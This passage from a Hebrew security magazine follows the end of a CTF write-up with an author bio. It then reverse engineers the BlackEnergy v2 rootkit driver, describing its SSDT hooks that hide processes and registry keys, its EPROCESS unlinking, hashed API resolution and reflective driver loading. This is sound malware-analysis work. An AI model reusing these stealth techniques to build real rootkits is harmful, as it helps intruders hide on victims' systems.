. מה שהיה מיוחד מאוד באתגרים זה שמעבר לידע האתגרים היו מורכבים, מאתגרים ובהחלט מהנים

 עם מספר מצומצם מאוד של כלים ואפשרויות.המקצועי בתחום היה צריך לחשוב על פתרונות יצירתיים 

 

רציתי להגיד תודה רבה לשב"כ על האתגרים המדהימים. ואני מצפה בקוצר רוח לפתור את האתגרים 

 שנה הבאה 

 

 

whoami 

מלש"ב, סטודנט שנה שלישית לתואר ראשון במתמטיקה באונ'  28(, בן Ido Frankenthalעידו פרנקנטל )

 בר אילן.

-, מערכות הפעלה וLow Level-ים בשעות הפנאי, מתעניין במיוחד ב-CTFהב לפתור אני מאוד או

Reversing בנוסף, לפעמים מפתח .High Level  וחוקרWEB. 

https://www.linkedin.com/in/idofran 

 לשאלות ויצירת קשר אפשר לפנות במייל:

idoido700@gmail.com 

  

https://www.linkedin.com/in/idofran/
mailto:idoido700@gmail.com
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BlackEnergy V.2 - Full Driver Reverse Engineering 

 מאת דניאל אבינועם, בן קורמן ואביב שבתאי

 הקדמה

BlackEnergy( תרחיש תקיפה שגורם להתקפת מניעת שירות מבוזרת ,DDoS Attack נודע לשמצה ,)

גאורגי /כששימש במתקפת סייבר ששוגרה נגד מדינת גאורגיה במסגרת הסכסוך הרוסי 0228בשנת 

 שהתרחש באותה שנה. 

שויכה לפוגען הראשוני, ועם השנים גרסאות נוספות הועלו לאינטרנט  Sandwormקבוצה רוסית בשם 

של הגרסה השניה של הפוגען שיצאה  Driver-מחתרתיים. במסמך זה נראה את חקירת ה בפורומים

 , מתוך זיכרון של עמדת קצה נגועה.0222בשנת 

 

 :לפני שנתחיל

 במהלך החקירה נשתמש במושגים, מבנים ופונקציות בסיסיות הקשורות בפיתוחWindows Kernel 

Drivers (WKDולא נסביר אותם לעומק ,) - ספר המצוין של פאבל יוסיפוביץ'נפנה לעמודים ב 

(zodiacon לפיתוח )WKD מס' עמודמושג :למידע מעמיק על הנושא בצורה הבאה. 

  נבצע פעולות מובנות מאליו מבלי לציין מפורשות )שינוי כשנגלה מידע חדש על חלקים בקוד הנחקר

 הרלוונטי וכד'( Union-שמות פונקציות, שינוי שמות משתנים, בחירת ה

  התרחיש השלם מורכב מאוד, ומכיל הרבה חלקים וקבצים שונים. במסמך זה נחקור רק את הרכיב

 בהרחבה מתועדתר וזו י ששימש בתקיפה, ולא נראה את חקירת הזיכרון המלאה מאח-Kernel-ה

 .באינטרנט

 את כל ה-Scripts שכתבנו במהלך החקירה, קובץ ה-Driver  שאותו חקרנו ומסמך זה מתורגם

 .כאןלאנגלית ניתן למצוא 

  6.2-בהשתמשנו Volatility  ,לחקירת דגימת זיכרון שמגיעה עם התקנת התוכנה ומכילה את הפוגען

 לחקירת הקבצים החשודים שמצאנו. Pro IDA 3.7-בו

 

 חקירת הזיכרון

 Modscan-וCallbacks, SSDTשל הזיכרון כמו  Kernel Space-ים בסיסיים לחקירת ה-Pluginתחילה נריץ 

נרשם  00004A2Aעם השם המחשיד  Driver-ניתן לראות ש Callbacks-מ ונחפש משהו שקופץ לעין.

 :PsSetCreateThreadNotifyRoutine204לקבלת אירועים ממערכת ההפעלה בעזרת הפונקציה 

https://en.wikipedia.org/wiki/Sandworm_(hacker_group)
https://www.amazon.com/Windows-Kernel-Programming-Pavel-Yosifovich-ebook/dp/B07TJT1GTF
https://imphash.medium.com/black-energy-2-revisited-fb4026634384
https://imphash.medium.com/black-energy-2-revisited-fb4026634384
https://github.com/DanielAvinoam/BlackEnergyV2-Driver-Reverse-Engineering
https://www.volatilityfoundation.org/about
https://www.hex-rays.com/products/ida/
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הזה רושם את עצמו אליה, מה שבוודאות  Driver-נוספת, וה SSDTאפשר לראות שקיימת טבלת  SSDT-מ

 :מחשיד אותו

 
י לתקשר איתו -User Modeמשויך אליו, מה שמונע מכלי  DeviceObjectהזה אין  Driver-ל ,בנוסף

 (.plugin Devicetree-)לא קיים אזכור שלו בפלט של ה
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, אין קובץ משויך על הדיסק, icqogwpאחר בשם  Driver-נוכל לראות של plugin Driverirp-בעזרת ה

-ו Create, Closeהחשוד ) Driver-שלו מצביעות לאותה כתובת ב Dispatch Functions44 3-ו

DeviceControl): 

 

 :הראשון ונחלץ אותו מהזיכרון Driver-את כתובת הבסיס של ה נאתר
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 הכנות לחקירה סטטית

 Driver-ה APIלא תכיר באיזה פונקציות  IDAלא נוכל לחקור אותו.  IDA-ל Driver-את הכעת אם נזרוק 

 לזיכרון. Driver-משתמש ויהיה קשה מאוד להבין מה הוא עושה. זה נובע מפעולת הטעינה של ה

על פי כתובת  Driver-למרחב הכתובת של ה Rebaseנבצע  :לפני שנטפל בבעיה נתחיל מפעולה פשוטה

 :שזיהינו קודם דרך חקירת הזיכרון Driver-הבסיס של ה

 

נוכל להיעזר שוב בקובץ הזיכרון ולמצוא דרכו את כתובות הפונקציות  Imports-כדי לסדר את בעית ה

-את ה IDA-( ובפלט נעזר כדי להגדיר בimpscan)בעזרת הרצת  בזמן ריצתו Driver-ששימשו את ה

Symbols לפונקצית שה-Driver  עושה להןImport.  ניצורScript ב-Python  שיעזור לנו להמיר את הפלט

 :IAT (impscanToIdc.py)-כדי לשחזר את טבלת ה IDA-שנוכל לטעון ל IDC Script-ל
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 :הקודםScript -ל מהשהתקב IDC Scriptאת  IDA-כעת נריץ ב

 

 :impscanלאחר מכן נראה שמופיעים לנו שמות הפונקציות כפי שזיהינו דרך 

 

  



 
 

BlackEnergy V.2 - Full Driver Reverse Engineering 
www.DigitalWhisper.co.il 

 52  2021 פברואר ,126גליון 
 

שאליהן יש קפיצה, המזויפות  SSDT-מאחר ואנחנו יודעים מקובץ הזיכרון גם את הכתובות של פונקציות ה

על הזיכרון ומעדכן את שמות  SSDTדומה לקודם שמפרסר את הפלט שמגיע מהרצת  Scriptנוכל לכתוב 

 :IDA (ssdtToIDC.py)-הפונקציות ב

 

 IDA-לא נראה הבדל, זה מכיוון ש IDA-לאחר הרצת הפלט, במבט ראשוני על חלונית הפונקציות ב

בצורה מושלמת ולכן נצטרך לגשת אל הכתובת של כל אחת  Driver-את ה המלכתחילה לא פרס

 :במקלדת(. נקבל את התוצאה הבאה Pקציות )לחיצה על מהפונקציות הללו ולהגדיר אותן כפונ

 

 .Driver-כעת נוכל להתחיל לחקור את ה
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DriverDispatch 

כדי לראות הגדרות ראשוניות של משאבים  DriverEntry50-בחקירה אידיאלית נרצה להתחיל בפונקציית ה

שקיבלנו  Image-בהמשך הקוד שלו, אך במקרה שלנו הפונקציה לא קריאה ב Driver-שישמשו את ה

 :Corruptedמהזכרון והיא 

 

לכתובת  Dispatch Functionsנצטרך למצוא נקודת התחלה אחרת. מוקדם יותר ראינו שנרשמו שלוש 

0xff0d31d4 ב-Driver  שלנו, ומאחר והיא פונקציה מסוגDriverDispatch חתימה שלה אנחנו יודעים שה

 :נראת כך

 

-Hexשל  Decompiler-נעבור אליה ונגדיר את הפרמטרים שהיא מקבלת למקבילים בחתימה, נשתמש ב

Rays  לחיצה על( להקלת הניתוחF5 ב-IDA): 
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 :שמטפלת בכמה סוגי בקשות, נתחיל לעבד אותה Dispatchהפונקציה נראית לחלוטין כמו פונקציית 

 

-53IO-יש בדיקה של ה DEVICE_CONTROLמבוצעת בדיקה לסוג הבקשה, במידה ומדובר בבקשת 

Control-Code ובמידה וה-Buffer המתקבל מה-User בתים תבוצע קריאה לפונקציה  548-גדול מ

sub_FF0D3075 עם הכתובת שמכילה את ה-Buffer  וגודלו, אחרת יוחזר ערך שגיאה, נשנה את שם

 .DeviceControlDispatcher-הפונקציה ל

הוא  IRP_MJ_CLOSE, ועבור בקשת STATUS_SUCCESSמחזיר  Driver-ה IRP_MJ_CREATEעבור בקשת 

ששימש אותו במהלך הקוד. גם כאן, נסתכל על הפרמטרים של הפונקציה  237Mutexמשחרר 

KeWaitForSingleObject ונראה ש-stru_FF0D536C  הוא מבנה מסוגKMUTANT - .נשנה את שמו 
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DeviceControlDispatcher 

  :ונתאים את שמות הפרמטרים המתקבלים אליהDeviceControlDispatcher -ניכנס ל

 

. ראשית, מבוצעת Buffer-עבור הקלטים השונים המגיעים ב Branchesהפונקציה ארוכה ומכילה כמה 

 :שכנראה מפענחת כתובות של פונקציות sub_FF0D26D4קריאה לפונקציית עזר 
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SUB_FF0D26D4 

שמחזירה אוביקט  (sub_FF0D2797)נראה שוב תלות בפונקציה נוספת  Decompiler-כשנסתכל עליה ב

(, מה שאומר שהפונקציה הזו כנראה 0x3C) e_lfanewכמו  PE-שעליו רצים עם קבועים מוכרים מפורמט ה

 :של קובץ Imageמחזירה 

   

" Ntoskrnl.exeומכילים את המחרוזות " Driver-הפרמטרים שמועברים אליה שמורים בזיכרון ה 0-שנראה 

 :"hal.dll"-ו
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 שלו. Image-כלומר, אנחנו חושדים שהפונקציה מקבלת שם של קובץ ומחזירה את כתובת ה

 :כשניכנס אל הפונקציה נראה שההנחה שלנו הייתה נכונה

 

)שורה  QuerySystemInformationהטעונים בעזרת הפונקציה  Modules-ל המשיג את רשימת כ Driver-ה

 :RTL_PROCESS_MODULES(, שזאת תחזיר לו מבנה מסוג 20

 

 :שנראים כך RTL_PROCESS_MODULE_INFORMATIONהמבנה מכיל רשימה של מבנים מסוג 
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הזה נמצא תמיד  Module-(, ומאחר וה25)שורה  ntoskrnl.exeבודק אם השם שהתקבל הוא  Driver-ה

אחר, נרוץ בלולאה  Module-(. במידה ומדובר ב27שלו יוחזר )שורה  ImageBase-ראשון ברשימה, ערך ה

-(. נשנה אם שם הפונקציה ל36( ונחזיר את אותו הערך )שורה 09עד שנמצא אותו )שורה 

GetImageBaseנתחיל לרוץ על הקטע שמפרסר את ה .-PE -  בכאמור-Offset 0x3C  נמצא השדה

e_lfanew  המכיל את הכתובת שלIMAGE_NT_HEADERS: 

 

 IMAGE_OPTIONAL_HEADER (Offset_-( ומכאן שהוא מפנה ל0x18 + 0x60הוא בעצם ) 0x70הערך 

0x18ואז למערך ): DataDirectory (Offset 0x60): 
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יכול להיות מבלבל בגלל המשחק עם כתובות וערכים וצריך לשים לב טוב  Decompiler-מכאן והלאה ה

 .PE-ועבודה צמודה עם המבנים של ה Assemblyטוב להמרות, לכן נעדיף 

הנבחר  Module-של ה Image-Base-יכיל את כתובת ה EDX( אוגר ntoskrnl.exe / hal.dllבשני המקרים )

 ויעשה בה שימוש עבור תהליך החילוץ.

 Module-של ה Export-Table-אנחנו מגלים שנעשה איתור של ה PE Format-צמודה עם הת עבודה בעזר

 :AddressOfOrdinals-ו AddressOfFunctions, AddressOfNames :ומציאה של כתובות המערכים

 

שמחושב בעזרת השם מול  Hashלאחר מכן מבוצעת לולאה שעוברת על השמות של הפונקציות ומשווה 

 :הפרמטר השני שהועבר לפונקציה

 

 Hash-היא כנראה פונקציה המקבלת שם של פונקציה ומחשבת את ה sub_FF0D26ADהקריאה לפונקציה 

שלה. כל עוד לא נמצאה הכתובת המבוקשת ממשיכים עד שעוברים על כל מצביעי הפונקציות הקיימות 

 .Exceptionובמידה והכתובת לא נמצאה יופעל 
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 :Decompiler-נפתח את הפונקציה ב

 

מושווה לאחר מכן וכך מבוצע ייבוא  Hash. אותו Hashכמו שהנחנו, הפונקציה מקבלת שם ומחשבת לפיו 

מתבצעת על שם הפונקציה מתוך  Hash-פונקציית ה .Driver-דינמי ומוסווה של פונקציות שישמשו את ה

AddressOfName פונקציה מבקשת התוכנית, נצטרך לממש אותה בעצמנו, לייצר. כדי לדעת איזוHash 

Dictionary של שמות וכתובות פונקציות. לכך נצטרך: 

  לבצעDump ל-ntoskrnl.exe .מהזיכרון 

 לפרסר את ה-Export-Directory  שלntoskrnl.exe ולמצוא את השם של כל אחת מן ה-

ExportFunctions של ה-Module. 

  לחשבHash על פי פונקציית ה-Hash ששימשה את ה-Driver  לכלExport Function. 

 להשוות את התוצאות מול ה-Hash-ים שנמצאו ב-Driver. 

  כמובן שנצטרך לעשות את אותו התהליך עבורhal.dll  גם כן )אנחנו נראה רק את פרסור

ntoskrnl.exe .) 

 מהזיכרון בתחילת החקירה. Driver-מהזיכרון בדומה לאיך שחילצנו את ה ntoskrnl.exeנאתר ונחלץ את 

 Export-Functionוישמור את השם של כל Export-Directory -שיפרסר את ה Scriptנכתוב 

(ExportFunction.py): 
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 :Driver (BEHashCalc.cpp)-ששימשה את ה Hash-שמסוגל לחשב את פונקציית ה Scriptכעת נבנה 

 ונקבל:
 

   

, חשאית יותר GetProcAddress -משמשת את התוכנית כמו  sub_FF0D26D4לסיכום, ראינו שהפונקציה 

הפונקציות האלה  Kernel-שרץ ב Driver-. מאחר ומדובר בStealthierGetProcAddress-נשנה את שמה ל

 כלום.( ולכן אין צורך לטעון -Kernelיהיו תמיד בזיכרון )מרחב זכרון משותף ב

נדע  StealthierGetProcAddress-שכתבנו ובכל פעם שיש שימוש ב Script-תה ואילך נשתמש בפלט העמ

 על פי הערך שנשלח. Driver-את שם הפונקציה שתשמש את ה

 :נסכם את מה שראינו עד עכשיו
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 DeviceControlDispatcher-חזרה ל

. IRP_MJ_DEVICE_CONTROLשמטפלת בבקשות  Driver-כעת אפשר לחזור לפונקציה הראשית של ה

שמקבלת גודל קבוע, ככל הנראה של המבנה שאותו  ExAllocatePool40-בתחילת הפונקציה יש שימוש ב

 :, ולאחר מכן לעבוד איתוUser-אמור לקבל מה

 

והרכיבים המתקשרים איתו "מסכמים" על מבנים  Driver-ברוב המקרים ה -כאן אנחנו נתקלים בבעיה 

בועים שבעזרתם הם יתקשרו אחד עם השני, מה שגורם לבעיה לנו החוקרים שלא יודעים את אותה ק

-ב Offsetסכימה. מאחר ולא מדובר במבנים מוכרים אנחנו לא יודעים איזה ערך אמור להיות באיזה 

Buffer אותו שולח ה-Userצטרך , לא יודעים מה הגודל שלו, מאיזה סוג הוא ולמה הוא משמש. מעכשיו נ

 מדבר. Module-וננסה להבין איך נראים המבנים שאיתם ה Buffer-להתחיל לעקוב אחרי העבודה עם ה

)רואים  Cases 9בעל  Switch-יש איזשהו ערך שלפיו מתבצע ה pBuffer+4-אפשר לראות שב -נחזור לקוד 

 יודע לבצע פעולות.  Driver-, שלפיו הEnum-חלקית(. מדובר ככל הנראה ב

 :" מעכשיו( וכרגע הוא נראה כךSystemBuffer)נקרא לו " Driver-לתעד את המבנה שנשלח לנתחיל 

 

 .Caseבשלב הזה נתחיל לעבור על כל 
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CASE 1 - מוביל אותנו ישירות ל-LABEL_4שם אפשר לראות את האתחולים הבאים ,: 

 

שהוא קיבל כקלט, לכן נעקוב גם אחריו )ייקרא  Buffer-מתחזק שונה מה Driver-נראה שהאלוקציה שה

"PoolAllocation.)"  שיצר ה המטעהשים לב לקוד נבנוסף-Decompiler  ,שיופיע גם בהמשך החקירה

עוד תרגום מטעה שנראה יהיה  .pPoolAllocation_ + 0x8-היא ל pPoolAllocation_ + 2-הכוונה בכש

 בתים. 4במבנה בכפולות של  Offset-גם כאן יהיה ה index, כאשר pPoolAllocation_[index]מהצורה 

-, והוא קורה בעקבות ההתייחסות שלו לDecompiler-חשוב לציין שתרגום זה הוא נכון ולא טעות של ה

pPoolAllocation  כמצביע למערך שלDWORD ,בתים. 4בגודל  טיפוס 

 BufferCode -הוא הpPoolAllocation-בבמבט נוסף על כל הפונקציה נוכל גם להסיק שהערך הראשון 

. לפי הקריאות לשם זה נראה Switch-משחררת את האלוקציה ויוצאת מה LABEL_12-)חצים אדומים(, וש

 :Cleanupכמו 
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, משם יש בדיקה של איזשהו LABEL_10-, אחרי האתחולים שראינו קודם יש קפיצה לCase 1נמשיך עם 

flag שנמצא ב-SystemBuffer+8  ( 4)מתייחסים רק לבית אחד, אבל יכול להיות שמדובר במשתנה בגודל

-, מכניסים את ערך החזרה שלה לערך הראשון בsub_FF0D3592-, נכנסים לTRUEובמידה והוא 

SystemBuffer  .ויוצאים 

(, ולאחר IRP_MJ_CLOSE)שמשוחרר בבקשת  Mutex-נראה שימוש ראשון ב sub_FF0D3592 -כשניכנס ל

 :sub_FF0D3329וחזק יש עוד פעולות שמותנות בערך החזרה של הפונקציה שהוא מ

 

בדרך כלל מדובר בגישה למשאב משותף )ברוב המקרים רשימה(, שיכול  Mutex-משתמש ב Driver-כש

 במקביל ולכן נדרשת נעילה. Threadsלהשתנות מכמה 

, והבלוק שמוקף dword_FF0D53D0 -ו dword_FF0D53CC :נראה שיש שימוש בשני משתנים גלובאליים

 :, שמקשר בין כל האובייקטים ובכך יוצר רשימהLIST_ENTRY42באדום מזכיר מאוד עבודה עם מבנה מסוג 

 

 pPoolAllocationבמידה ואכן מדובר במבנה מסוג זה, מבט נוסף על רצף הפעולות מרמז על הוספה של 

המשתנה הזה מצביע לסוף כלומר,  -ה )מסומן בצהוב( ברשימ dword_FF0D53D0אחרי המבנה 

 .הרשימה

) נקבל את ההנחה הזו  מצביע לראש הרשימה dword_FF0D53CC :מכאן בא החשד שהמשתנה השני

הזה כראש הרשימה. כך או כך  Entry-במידה ולא קיים סוף רשימה, תגדיר את ה -שוב לפי רצף הפעולות 

 .יהיה ראש הרשימה לאחר קטע הקוד( Entry-ה
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 :sub_FF03329כדי לוודא את ההנחה הזו נסתכל על הפונקציה 

 

שתחילתה  רשימה מקושרתשהוא הנחנו ש) על מבנה הנתוניםהפונקציה מבצעת איטרציה ניתן לראות ש

( לפרמטר iברשימה ) Entryמשווה ערכים מכל היא  ( ובכל איטרציהdword_FF0D53CC במשתנה

 :(a1שקיבלה כקלט )
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-ו Offsets 0x24-, ובPoolAllocationהרשימה בנויה ממבנים מסוג  -דברים חשובים  0מכאן אפשר להבין 

0x28 נמצאים ה-Flink וה-Blink :בהתאמה 

 

  המזויף: SSDT-של הפונקציה נראה שהיא נקראת מכל הפונקציות שב XRefs-כשנסתכל על ה

 

שהפונקציה מגדירה את ערך החזרה של כל  ניכנס לכמה מהן לראות את השימוש בפונקציה. נראה

יוחזר  TRUE( ושולחות אותו. במידה והתוצאה המוחזרת היא ?PoolAllocationהפונקציות המזויפות )

, תרוץ פונקציה אחרת עם הפרמטרים שנשלחו )לאחר בדיקה FALSE-למשתמש ערך שגיאה, במידה ו

 מדובר בכתובת הפונקציה האמיתית(:
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יאפשר לתוכנה זדונית להשפיע על התוצאה שמוחזרת למשתמש ובכך  SSDT-טבלת הל Hook ביצוע

מימוש של הפונקציות המזויפות, להסתיר את הפעולות שהיא עושה. מהשימוש ברשימה המקושרת וה

מידע על משאבים שמיועדים להסתרה, וכאשר שמכילה מתחזק רשימה הזדוני  Driver-הניתן להסיק ש

מהפונקציות שיכולות להסגיר אותם, מתבצעת בדיקה בין הרשימה לקלט שהגיע מגיעה קריאה לאחת 

 והפלט מוחזר בהתאם.

שישלח  PoolAllocationיבנה מבנה מסוג sub_FF03329 -במידה וההנחה שלנו נכונה, לפני הקריאה ל

לפונקציה כפרמטר, כי אנחנו יודעים שהרשימה שלנו בנויה ממבנים כאלו, ושהפונקציה משווה בין הקלט 

 לשאר האובייקטים ברשימה.
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 המזויפות נעקוב אחרי המבנה וננסה להבין איך הוא בנוי.  SSDTבכל אחת מפונקציות ה

 במבנה קוד שמשתנה בין כל סוג בקשה: , בכולן מוכנס לערך הראשוןDeviceControlDispatcher-בדומה ל

 CODE=1 לבקשות שקשורת ל-PIDוב ,-Offset 0x8 יישמר ה מתחילת המבנה-PID  עצמו )מתוך

FakeNTOpenProcess):  

 

 CODE=2-4  לבקשות שדורשות השוואתStrings  מתוך(FakeNtDeleteValueKey:) 

 

-ב var_4C (v5)המצביע( של  הכתובתהוא sub_FF03329 -נבחין כי הפרמטר שמועבר ל

Decompiler:) 

 

 -ביחס ל String-, נסתכל על המיקום של הPoolAllocationכלומר מאחר ובמחסנית יהיה מבנה מסוג 

var_4C ובכך נסיק את ה-Offset :שלו במבנה 

 

Var_4C נמצא ב-Offset-4C  לעומתDestinationString 3--שנמצא בCכלומר ה .-String  0במרחקx10 

 מתחילת המבנה.
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 :UNICODE_STRING38הוא מבנה מסוג  DestinationString-זיהתה ש IDAבנוסף, 

 

-כ ESPאו באוגר  EBPיכולה להתייחס למשתנים בפונקציה באמצעות אוגר  IDAנקודה חשובה: 

Indexמכאן שהערכים שהמשתנים האלה יקבלו ב .-Disassembler  ישתנו בכל אחד מהמקרים- 

הם יהיו ESP -)כמו במקרה שלנו( הערכים יהיו שליליים, וכשמשתמשים ב EBPכמשתמשים באוגר 

חיוביים. הסימנים מתהפכים בעקבות המיקום של המשתנים במחסנית ביחס לשני האוגרים. כך או 

 כך ההפרש בינהם יהיה זהה תמיד.
 

 CODE=7 לבקשות קריאה מהזיכרון. ב-Offset 0x18 0-נה קוראים וביהיה הכתובת שממx1C  גודל

 (:FakeNtReadVirtualMemoryהקריאה )מתוך 

 

 PID-שלו. המשתנה שמקבל את ה PID-ל ProcessHandleבנוסף יש שימוש בפונקציית עזר שממירה 

(v7 נמצא אחרי )BytesToRead במחסנית, כלומר הוא יהיה ב-Offset 0x20: 

 

, אבל אנחנו יכולים להסיק v6מוגדר במבנה  PID-אנחנו לא רואים שה Decompiler-)אומנם ב

 שהמשתנה הוא חלק מהמבנה, אחרת למה שיוגדר מלכתחילה?(
 

 CODE=8 לבקשות שקשורות ל-Threads0-. בx8 יהיה ה-PID כמו שהיה ב(-CODE=1וב )-0xC ה-TID 

 (:FakeNtSuspendThread)מתוך 

 

 ל-CODE=5,6,9 .אין אזכור באף פונקציה מזויפת 
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  :הוא יראה כך PoolAllocationהמתאימים למבנה  Offsets-סיף את כל הערכים שגילינו באחרי שנו

 

Sub_FF0D3329 

נקציה שחשודה אותה פו, sub_FF0D3329-נוכל לחזור ל PoolAllocationאחרי שמילאנו את המבנה 

 ולהבין יותר בקלות את ההשוואות שהיא עושה., בבדיקת איבר ברשימה

 Entry-שהפונקציה מחפשת האם הבקלות לראות  המשתנים לערכים שגילינו ונוכלנתאים את שמות 

 שהיא קיבלה נמצא ברשימה:
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יש שימוש בפונקציית עזר שמקבלת את המצביעים לשתי המחרוזות. במבט מהיר  BufferCode=2-4-כש

 :אפשר לראות שהפונקציה הזאת משווה בינהן

 

 :TID-ולאחר מכן של ה PID-יש בדיקה של ה BufferCode=8-כש
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זהים, ולאחר מכן האם מרחב הכתובות המבוקש מכיל  PIDs-יש בדיקה ראשונית האם ה BufferCode=7-ב

 :בתוכו את איזור הזיכרון הזדוני

 

ובודקת האם הוא נמצא  PoolAllocationמקבלת מבנה מסוג  sub_FF0D3329סה"כ הפונקציה 

 :CheckIfObjectInListברשימה, במידה וכן היא מחזירה אותו, מעתה נקרא לה 
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 :DeviceControlDispatcher-ב Case 1מתוך  sub_FF0D3592כעת נוכל לחזור לפונקציה 

 

לתה לולאה . כשניכנס אליה נראה בתחיsub_FF0D340A :גם כאן אנחנו רואים שוב שימוש בפונקציית עזר

 :שסוכמת את גודל כל האובייקטים ברשימה
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הפעם מעתיקה  -לאחר מכן מוקצת הקצאה חדשה בגודל שנסכם, ועוד לולאה שרצה שוב על הרשימה 

 :להקצאה הגדולה שנוצרה ListEntryאת כל הערכים מכל 

 

במבנה  Offset 0x4-אנחנו רואים את השימוש הראשון )והיחיד( בערך שנמצא ב 60בשורה 

PoolAllocation .הערך מוגדר כדגל שלפיו התוכנית מעתיקה או לא מעתיקה את ה-ListEntry .להקצאה 

 :"RulesDataבשם " Registryלמפתח  Value-אחרי מילוי ההקצאה הפונקציה מגדירה אותה כ
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 לרשימה. ומעדכן אותו בכל הוספה של אובייקט Registryשומר את הרשימה שלו בערך  Driver-גילינו שה

 נשנה את שמות הפונקציות בהתאם:

 sub_FF0D3592 - AddObjectToList 

 sub_FF0D340A - UpdateListInRegistry 
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 :DeviceControlDispatcher-ב Case 1-נחזור ל

 

מוכנס לרשימה וסטטוס  User-האובייקט שמתקבל מה TRUE. במידה והתנאי הוא 35עצרנו בתנאי בשורה 

, שבמבט מהיר נראה שהיא sub_FF0D3620ההצלחה מוחזר. אם התנאי לא מתקיים יש כניסה לפונקציה 

 :Registry-מחפשת את האוביקט ברשימה, מוציאה אותו ומעדכנת את ה
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מוציא אותו /ומוסיף CODE=1בעל  PoolAllocationמקבל מבנה מסוג  Driver-ה Case 1-לסיכום, ב

 :מהרשימה

 

CASE 2-4 - אנחנו יודעים שה-BufferCode שמתקבל מה-User עליו רץ ה(-Switch מועתק לערך הראשון )

 שמכיל מחרוזת. PoolAllocationכלומר גם כאן מדובר במקרים בהן מתקבל אובייקט  - PoolAllocation-ב

מוצא /חר מכן מוסףהחדש ולא PoolAllocation-לאובייקט ה UserBuffer-המחרוזת מועתקת מה

 :מהרשימה
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 :המתאימים Offsets-לפי ה SystemBufferנעדכן את מבנה 

 

CASE 5 -  כאן יש קריאה לפונקציהsub_FF0D2EE3 שמקבלת את ה-PID  כקלט, ולאחר מכן מבצע את

 CODE=1בעל  PoolAllocationכלומר גם פה יש עבודה עם אוביקט  - Case 1-אותו רצף הפעולות כמו ב

 :)קשור לתהליכים(

 

 

sub_FF0D2EE3: 

 

( ולאחר מכן מוסיפה 23)שורה  PID-בעזרת ה EPROCESS-בנה ההמצביע למ הפונקציה משיגה את

 (.25)שורה  v2-ושומרת את התוצאה ב dword_FF0D5330ששמור במשתנה  Offset-לכתובת שלו את ה

 :Offset 0x88-שמור ה dword_FF0D5330-ב
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-שמחבר בין כל שאר מבני ה LIST_ENTRYנמצא מבנה מסוג  EPROCESSבמבנה  Offset 0x88-ב

EPROCESS ב-Kernel: 

 

 מהרשימה. EPROCESS-הפונקציה מנתקת את אוביקט ה 26-27בשורות 

-, ומלבד להוסיף אותו לרשימה של הPIDשמכיל  PoolAllocationמבנה מסוג  Driver-ניתן ל Case 5-ב

Driver אותו מרשימת ה, הוא גם מנתק-Process-ים ב-Kernel: 
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CASES 7-8 - בשני המקרים מועתקים הערכים הרלוונטים ל-pPoolAllocation מוצאים /ומוכנסים

 :מהרשימה

 

 ”String Maximum Length“הבתים הלא מוגדרים בין  522-בהתאם. שימו לב ל SystemBufferנעדכן את 

 :שנשלח String-הנראה יהיה ה, שם ככל ”Address To Read From“ -ל

 

CASE 9 - מתחיל בקריאה לפונקצית העזר: sub_FF0D302B ההקצאה של  השאחריPoolAllocation 

 :משוחררת
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שלא מקבלת פרמטרים  sub_FF0D36F1נראה תחילה קריאה לפונקציה sub_FF0D302B -כשניכנס ל

שמקבלת את  sub_FF0D13EDוקריאה לפונקציה  Registry-(, לאחר מכן שחרור כל המידע שב9)שורה 

 :(03)שורה  dword_FF0D53A4המשתנה הגלובלי 

 

sub_FF0D36F1 משחררת את כל האיברים ברשימה: 
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)מגדירה את שם  ObjectAttributes, אפשר לראות שנוצר אוביקט מסוג sub_FF0D13EDבפונקציה 

 :לפרמטר הנשלח אליה(, בעזרתו יוצרת קובץ האוביקט

 

גורמת לאוביקט  MSDN, שלפי 0x240 (OBJ_KERNEL_HANDLE)-ל Attributes-בנוסף היא מגדריה את ה

 :Kernel-להיות נגיש רק מה

 

שהעמדה כבר , כנראה כדי לסמן Kernel-בשורה התחתונה, הפונקציה יוצרת קובץ שנגיש רק מה

 :למעשה מקפל את הפוגען מהעמדה Case 9, וכל ולמנוע הדבקה חוזרת נדבקה
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CASE 6 -  ה 56שמרנו את הטוב לסוף. בשורה-Driver בודק האם קיים עוד מבנה אחרי ה-SystemBuffer 

(. במידה וכן 0x220-כולו )שעכשיו גילינו שנמצא ב Buffer-בכך שהוא משווה את הגודל שלו עם גודל ה

 :sub_FF0D29F4הוא שולח את אותו מבנה מסתורי לפונקציה 

 

 :נראה בלאגן שלם sub_FF0D29F4 -כשניכנס ל

 

 
 0x3C, כמו PE-מוכרים ממבנה ה Offsets, גם כאן אפשר לזהות StealthierGetProcAddress-בדומה ל

-שאיתם רצים על המבנה הלא מוכר ששלחנו. אם נמשיך עם ההנחה שמדובר בקובץ הרצה נראה שכל ה

Offset-.ים מתאימים 
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 שלו:Sections -וה PE Header-את ה ומעתיק אליה PE-מקצה הקצאה בגודל של ה Driver-תחילה ה

 

לפני הקריאות יש בדיקה  .sub_FF0D28B3-ו sub_FF0D2944 :לאחר ההעתקה יש קריאה לשתי פונקציות

 :בהתאמה Import Directoryוהאם קיים  Relocation Directoryהאם קיים 

 

 sub_FF0D2944כבר מהפרמטרים של שתי הפונקציות אפשר להסיק מה הן עושות. הפונקציה הראשונה 

ביחס לכתובת ההקצאה החדשה )לא נכנס  PE-ומעדכנת כל מצביע ב Relocation Table-עוברת על ה

 :לעומק(
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 :PE-של ה Import Table-, רצה על הsub_FF0D28Bהפונקציה השניה 

 

 :(Entryהערך הראשון בכל  (שבטבלה Moduleישלח השם של כל  GetBaseAddressלפונקציה 

 

הכתובת  ביחד עם, sub_FF0D2824 -מייבא נשלחת לפונקציית העזר הנוספת  PE-כל פונקציה שה

 בזיכרון שאליו היא שייכת. Module-העדכנית של ה

)לא נכנס  GetProcAddress, בדיוק כמו Module-פנקציית העזר מחזירה את כתובת הפונקציה בזיכרון ה

 :לעומק(
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 PE-של ה IAT-ב GetProcAddress-מעדכנת את כל הכתובות שקיבלה מ sub_FF0D28Bלבסוף הפונקציה 

 החדש.

 :ExportDirectory-מריץ את הפונקציה הראשונה ב Driver-שהמצביעים בשתי הטבלאות עודכנו, ה אחרי

 

של  PE, ושכל המצביעים מעודכנים לפיה, אנחנו יודעים שמדובר בקובץ Kernel-מאחר ומדובר בהקצאה ב

Driver.  כתובת הפונקציה הראשונה שלDriver Export Table היא של ה-DriverEntryימתה נראת , שחת

 :כך

 

 :ומאפס אותה Relocation Table-מחפש את ה Driver-ה DriverEntry-לאחר ריצת ה
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 :אחר לזיכרון Driverטוען רפלקטיבית  Driver-ה Case 6-גילינו שב

 

 
המשתנה  .DriverObjectהוא מצביע לאובייקט  DriverEntry-אנחנו יודעים שהמשתנה הראשון שמועבר ל

